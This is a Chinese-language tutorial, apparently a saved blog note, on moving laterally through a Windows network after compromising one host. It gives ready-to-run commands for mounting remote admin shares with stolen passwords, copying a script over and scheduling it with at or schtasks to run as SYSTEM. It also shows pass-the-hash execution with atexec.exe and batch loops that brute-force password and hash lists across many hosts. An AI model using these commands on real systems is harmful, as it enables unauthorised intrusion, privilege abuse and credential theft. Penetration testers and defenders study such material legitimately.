在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令及相关工具的使用,在已知目标系统的用户明文密码或者hash的基础上,直接可以在远程主机上执行命令。
一、利用流程
1. 建立IPC链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除IPC链接
二、IPC
1. IPC简介及使用
IPC是专用管道,可以实现对远程计算机的访问,需要使用目标系统用户的账号密码,使用139、445端口。创建IPC链接可以使用如下的命令:
net use \\server\ipc$"password" /user:username # 链接工作组机器 net use \\server\ipc$"password" /user:domain\username # 链接域内机器
其中ipc$可以换成具体的盘符或者路径,如D$、C:\\Windows\Temp……IPC的使用如下:
dir \\192.168.72.128\C$\ # 查看文件列表 copy \\192.168.72.128\C$\1.bat 1.bat # 下载文件 copy 1.bat \\192.168.72.128\C$\1.bat # 上传文件 net use \\192.168.72.128\C$\1.bat /del # 删除IPC net share ipc$ | admin$ # 开启逻辑共享(C$、D$、E$……)或者 系统共享(ADMIN$) net view 192.168.72.128 # 查看对方共享
注意:如果路径中出现空格,用双引号引起来如:dir \\server\C$\Windows\"Top secret.rar"。如果是用ip建立的ipc,必须用ip运行上述命令,如果用的计算机名建立的ipc,也必须用计算机名运行上述的命令。
2. 建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已经存在的凭据集冲突,说明已经建立了IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
3. 建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
三、at&schtasks使用
1. at 利用过程如下:
net use \\192.168.1.5 Password /user:admin # 建立ipc连接: copy add.bat \\192.168.1.5\C$\Inetpub # 拷贝执行脚本到目标机器 net time \\192.168.1.5 # 查看目标时间,可能本地时间与目标时间不符 at \\192.168.1.5 21:52 c:\Inetpub\add.bat # 添加计划任务 at \\192.168.1.5 # 查看任务列表
需要注意的是:Windows Server 2012 以后的版本没有at命令,只有schtasks命令
2. schtasks利用过程如下:
net use \\192.168.1.5 Password /user:admin # 建立ipc连接: copy add.bat \\192.168.1.5\C$\Inetpub # 拷贝执行脚本到目标机器 net time \\192.168.1.5 # 查看目标时间,可能本地时间与目标时间不符 schtasks /create /s 192.168.1.5 /u administrator /p Passw0rd /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\Inetpub\add.bat /F schtasks /run /s 192.168.1.2 /u administrator /p Passw0rd /tn adduser /i (4)schtasks /delete /s 192.168.1.2 /u administrator/p Passw0rd /tn adduser /f # 删除计划任务
其中/s指定远程机器名或ip地址;/ru指定运行任务的用户权限,这里为SYSTEM;/tn是任务名称;/sc是任务运行频率,这里指定为每天运行;/tr指定运行的文件;/F表示如果指定的任务已经存在,则强制创建任务并抑制警告;/i表示立即运行,不需要和时间挂钩,可以立即执行任务。
四、工具利用
atexec.exe:可以使用用户明文或者hash的方式,在指定的目标上执行命令并回显,使用方法如下:
atexec.exe ./administrator:Passw0rd@10.11.1.52 "whoami /user" atexec.exe domain.com/user:Passw0rd@10.11.1.52 "whoami /user" atexec.exe -hashes :518B98AD4178A53695DC997AA02D455C ./administrator@10.11.1.52 "whoami /user"
需要注意的是:该工具是一个半交互的工具,适用于webshell下,socks代理下。
在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量读取进行测试:
FOR /F %%i in (ips.txt) do atexec.exe -hashes :HASH ./administrator@%%i whoami #利用hash验证主机列表ips.txt FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76 whoami #指定主机进行用户hash列表(hashes.txt)爆破 FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%i@192.168.3.76 whoami #指定主机进行明文密码列表(passwords.txt)爆破 FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami # 利用明文密码验证主机列表ips.txt
PS:上面该方法是从一个公众号上学习到的,具体链接是哪个不清楚了,如有侵犯哪位朋友,请及时与我联系。
No Leanote account ? Sign up now.